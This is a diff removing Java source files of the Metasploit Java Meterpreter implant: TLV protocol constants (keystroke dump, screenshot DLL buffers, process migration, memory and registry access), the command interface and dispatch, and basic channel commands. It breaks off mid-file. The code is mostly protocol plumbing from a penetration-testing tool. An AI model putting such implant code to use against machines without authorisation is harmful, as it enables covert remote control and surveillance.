public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442;
// Socket
public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500;
public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501;
public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502;
public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503;
public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504;
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
// Registry
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_UINT | 1000;
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003;
public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010;
public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011;
public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012;
// Config
public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040;
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
// Process
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2000;
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2005;
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300;
public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301;
public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302;
public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303;
public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304;
public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305;
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2403;
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_UINT | 2404;
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_UINT | 2511;
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_UINT | 2512;
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541;
public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542;
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
// Ui
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
// Event Log
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 4001;
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;
public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004;
public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006;
public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007;
public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008;
public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009;
public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010;
public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011;
public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012;
public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013;
// Power
public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100;
public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101;
// Screenshot
public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012;
}

View File

@ -1,38 +0,0 @@
package com.metasploit.meterpreter.command;
import com.metasploit.meterpreter.CommandManager;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
/**
* A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command.
*
* @author mihi
*/
public interface Command {
/**
* Status code representing a successful run of the command.
*/
public static final int ERROR_SUCCESS = 0;
/**
* Status code representing a failed run of the command.
*/
public static final int ERROR_FAILURE = 1;
/**
* Execute this command.
*
* @param request
* request packet
* @param response
* response packet
* @param errorStream
* Stream to write errors to
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
* @throws any
* exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
*/
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
}

View File

@ -1,178 +0,0 @@
package com.metasploit.meterpreter.command;
import java.io.PrintStream;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
/**
* A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}.
*
* @author mihi
*/
public class NotYetImplementedCommand implements Command {
public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand();
private Map/* <Integer,String> */typeNames = new HashMap();
private NotYetImplementedCommand() {
typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY");
typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD");
typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT");
typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT");
typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL");
typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID");
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN");
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS");
typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST");
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST");
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES");
typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW");
typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION");
typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE");
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT");
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER");
typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER");
typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME");
typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER");
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getErrorStream().println("Unknown request detected:");
dumpTLV(meterpreter.getErrorStream(), request);
return ERROR_FAILURE;
}
private void dumpTLV(PrintStream errorStream, TLVPacket request) {
for (Iterator it = request.getTypeOrder().iterator(); it.hasNext();) {
int type = ((Integer) it.next()).intValue();
int restType = type;
String typePrefix = "";
if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) {
typePrefix = "Compressed ";
restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED;
}
String typeName = (String) typeNames.get(new Integer(restType));
Object typeValue = request.getValue(type);
if (typeName == null)
typeName = "0x" + Integer.toHexString(type).toUpperCase();
if (typeValue instanceof byte[]) {
typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)";
}
errorStream.println("\t" + typePrefix + typeName + " = " + typeValue);
}
}
}

View File

@ -1,34 +0,0 @@
package com.metasploit.meterpreter.command;
import com.metasploit.meterpreter.ExtensionLoader;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
/**
* A command that represents a command that is implemented, but not for the current Java version.
*
* @author mihi
*/
public class UnsupportedJavaVersionCommand implements Command {
private final String command;
private final int version;
/**
* Create a new instance of that command.
*
* @param command
* Name of the command
* @param version
* Version required
*/
public UnsupportedJavaVersionCommand(String command, int version) {
this.command = command;
this.version = version;
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2));
return ERROR_FAILURE;
}
}

View File

@ -1,22 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.CommandManager;
import com.metasploit.meterpreter.ExtensionLoader;
/**
* Loader class to register all the core commands.
*
* @author mihi
*/
public class Loader implements ExtensionLoader {
public void load(CommandManager mgr) throws Exception {
mgr.registerCommand("core_channel_close", core_channel_close.class);
mgr.registerCommand("core_channel_eof", core_channel_eof.class);
mgr.registerCommand("core_channel_interact", core_channel_interact.class);
mgr.registerCommand("core_channel_open", core_channel_open.class);
mgr.registerCommand("core_channel_read", core_channel_read.class);
mgr.registerCommand("core_channel_write", core_channel_write.class);
mgr.registerCommand("core_loadlib", core_loadlib.class);
}
}

View File

@ -1,16 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_close implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false);
if (c != null)
c.close();
return ERROR_SUCCESS;
}
}

View File

@ -1,21 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_eof implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID);
if (id == 0) {
response.add(TLVType.TLV_TYPE_BOOL, false);
} else {
Channel c = meterpreter.getChannel(id, true);
response.add(TLVType.TLV_TYPE_BOOL, c.isEOF());
}
return ERROR_SUCCESS;
}
}

View File

@ -1,22 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_interact implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
// True means start interacting, False means stop
boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL);
if (toggle) {
channel.startInteract();
} else {
channel.stopInteract();
}
return ERROR_SUCCESS;
}
}

View File

@ -1,15 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_open implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType);
return channelCreator.execute(meterpreter, request, response);
}
}

View File

@ -1,20 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_read implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
